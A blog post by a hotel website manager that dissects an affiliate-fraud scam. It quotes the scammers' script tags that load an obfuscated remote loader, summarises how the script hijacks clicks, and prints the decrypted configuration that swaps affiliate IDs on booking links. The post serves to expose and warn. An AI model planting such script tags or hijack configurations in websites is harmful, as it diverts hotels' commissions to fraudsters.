The Anatomy of a Modern Affiliate Scam

The Anatomy of a Modern Affiliate Scam

It all started with an email that seemed perfectly reasonable.

"The manager of the website hotelwebsiteimanage.it has provided us with your contact details to help us with a small update.", wrote Marco. A small update. A pre-generated widget. No big deal.

I manage many hotel websites. It's not unusual to get requests like this - hotels partnering with service providers, needing small technical implementations. The email came from what appeared to be a (somewhat) legitimate-looking service.

But something felt off. I like to play with these guys, so instead of ignoring it, I decided to play along to understand more.

Marco's response came with a Google Doc with implementation instructions. Professional formatting, clear steps. Two simple script tags and a div element.

A "floating language selector" for better visibility.
Except the site already has foolproof multi-language.

Red Flags anyone?

The implementation instructions seemed standard:

<script async src="https://static.elfsightwidget.com/platform/platform.js"></script>
<script async src="https://cdn.fraudwebsite.com/verify.js"
data-site-id="12648"
data-client="reviewsummary"
data-hash="53e73er9f33fp5a6d310f1n1c11b7f30">
</script>

<div class="elfsight-app-e31202b8-8895-42d7-89ec-a6c0f20ea3a5" data-elfsight-app-lazy></div>

But something felt off. The first script loads from Elfsight - a legitimate widget platform. But the second?

I opened verify.js. What I found wasn't a simple widget loader. It was 200+ lines of heavily obfuscated code.

Now, I'm not a programmer. I can read some code, perform some magic tricks, and everything - but reverse engineering obfuscated JavaScript? Nah, that's not my expertise. Luckily, we live in an era of AI tools.

Deconstructing the Code (With Help)

I fed the code to Claude. The AI helped me understand what I was looking at. The script was fascinating in its complexity:

1. Browser Fingerprinting

First, it detected whether users were in private browsing mode. Different techniques for each browser - Chrome checks storage quotas, Firefox checks service workers, and Safari tries specific storage operations.

Why would a language widget care if you're browsing privately? It wouldn't.
Still can't understand why they check this, though.

2. Click Hijacking System

The core mechanism was elegant in its malice. Every click on the website was intercepted. If the clicked element matched certain patterns (stored in this.connection.schema), the script would:

  • Stop the real click
  • Prevent default browser behavior
  • Redirect to a modified URL with injected parameters

3. Command & Control

The script connected to awsverify.com (not sus at all) to receive instructions. It sent information about the website and received back encrypted instructions on which links to hijack.

The Smoking Gun

I needed to see what the server was actually sending. So I found a hotel website already infected with this code and used the browser's DevTools to intercept the network traffic.

The server responded with

{
"requestId": "191daacc-25d8-4f78-8d4f-dcc4a2b7c16f",
"signature": "4a1a40040d0108050701444d557b521b424f..." // encrypted payload
}

I understood they were using XOR encryption.
I ran the decryption code in my browser console, and here's the unencrypted payload:

{
"schema": {
"a[href*=\"booking.com\"]": {"aid": "1777500"},
"a[href*=\"agoda.com\"]": {"cid": "1934546"},
"a[href*=\".tripadvisor.\"]": {"m": "68121"},
"a[href*=\"#book-now\"]": "https://www.booking.com/hotel/hidden.html?aid=1777500"
}
}

There it was. The script was hijacking every booking platform link and injecting their affiliate IDs.

How the Scam Works

Let me break down the money flow.

Normal Scenario:

  1. Guest visits the hotel website
  2. Clicks "Book on Booking.com"
  3. Books a €100 room
  4. Hotel earns 15-25% commission (€15-25)

With the Scam:

  1. Guest visits the hotel website
  2. Clicks "Book on Booking.com"
  3. Script intercepts click
  4. Replaces the hotel's affiliate ID with the scammer's
  5. Books a €100 room
  6. Scammer earns the €15-25 commission

The hotel never knows. The booking happens normally. Guests aren't affected. But every commission goes to the scammers.

The Social Engineering

The approach was clever but flawed:

  1. Authority: "Your hotel manager gave us your contact" - except they probably never talked to anyone. And even if they did, it just means they got tricked.
  2. Minimization: "Small update", "nothing critical" - making it seem harmless. Yeah sure.
  3. Legitimacy: Using real services (Elfsight) alongside their malware.
  4. Professional appearance: Proper documentation, Google Docs guides, official-looking emails.

Tools That Made This Possible

I couldn't have uncovered this without:

  1. AI assistants (Claude) - Explained the obfuscated code
  2. Browser DevTools - Captured network requests
  3. Online decoders - Helped understand the encryption
  4. Google - Found other infected sites
  5. Basic pattern recognition - Sometimes you don't need to understand every line to know something's wrong

Lessons and Protection

This scam worked because it exploited trust and technical intimidation:

  1. Code scares people - Most won't even check what they're implementing
  2. Official-looking emails work - Even when they don't make complete sense
  3. Everyone trusts simple implementations - It's just a widget, right?

How to protect yourself:

Trust your gut. If something feels off, investigate. That complexity I noticed? That was the first clue.

Use tools. You don't need to be a programmer. AI can help analyze suspicious code.

Verify directly. Contact the hotel. Contact the service provider. Don't trust email chains.

The Aftermath

I reported the affiliate IDs to Booking.com, Agoda, and TripAdvisor. Whether they'll investigate is unclear.

But somewhere, a hotel is losing thousands in commissions.
Somewhere, another website manager is getting the same email from a different "Marco".

Sometimes, asking "why is this so sus?" is all the expertise you need.

See you next time ( ͡° ͜ʖ ͡°)